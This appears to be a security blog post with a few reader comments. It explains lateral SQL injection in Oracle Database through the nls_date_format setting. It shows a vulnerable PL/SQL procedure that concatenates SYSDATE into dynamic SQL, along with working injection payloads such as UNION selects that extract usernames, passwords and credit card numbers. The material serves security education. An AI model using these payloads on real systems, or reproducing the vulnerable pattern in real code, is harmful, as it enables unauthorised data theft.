Lateral SQL Injection in Oracle Database
Lateral SQL Injection in Oracle Database
Overview
=======
In order to get the system date in Oracle, you able to query for sysdate field in table dual.
SQL> select sysdate from dual;
SYSDATE
————–
15-SEP-11
SYSDATE format is set in: nls_date_format.
Following the publication: Lateral SQL Injection: A New Class of Vulnerability in Oracle, (http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf) published by David Litchfield, FEB/2008.
This post provides an overview and a demonstration on how this issue is still easily exploitable in Oracle Database.
Vulnerability
=========
Nls_date_format allows input of any string without filtering.
Example: alter session set nls_date_format = ‘”the time is:”… hh24:mi’
After running that command, the SYSDATE will return the constant sentence “the time is…” and the [hours]:[minutes] (note that the hours are in 24 hours format).
SQL> select sysdate from dual;
SYSDATE
————–
the time is:… 14:27
By manipulating this “feature”, the user can manipulate PL/SQL procedures which base on SYSDATE.
In example, take a look on the following PL/SQL procedure:
create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:=‘select object_name from all_objects where created = ”’ || v_date ||””;
dbms_output.enable;
dbms_output.put_line(stmt);
execute immediate stmt;
end;
The procedure set the variable v_date and set it as SYSDATE.
After setting v_date, the procedure sets stmt as “select object_name from all_objedcts where created = ‘[v_date]’;, which returns the names of all objects that created at the date specified in v_date.
Note that to run and get dbms_output, you need to set serveroutput on before executing the procedure.
Example: select object_name from all_objects where created = ’15-SEP-11′;
Exploitation
==========
An attacker can manipulate that procedure by setting nls_date_format to ‘ or 1=1–.
alter session set nls_date_format = ‘”” or 1=1–”‘;
In this case, stmt will be:
select object_name from all_objects where created = ‘’ or 1=1–’;
Which will return all object_name in all_objects.
in addition, it is able to execute any SQL command, in example:
alter session set nls_date_format = ‘”” union select username from users–”‘;
alter session set nls_date_format = ‘”” union select password from users–”‘;
alter session set nls_date_format = ‘”” union select credit_card_number from clients–”‘;
etc..
Since this attack can only be executed within a db session, are you not still limited by the permissions of the user you are logged in as – or does the sysdate elevate privileges?
Congrats, impressive work. Do you know which versions are vulnerable against this injection?
You can deepnd on the name of the day if you force the language in your to_char function. So no matter the session NLS setting it would return in your reference language, say english.where to_char(workdate,?Dy?,’nls_date_language=english’) = ?Sat?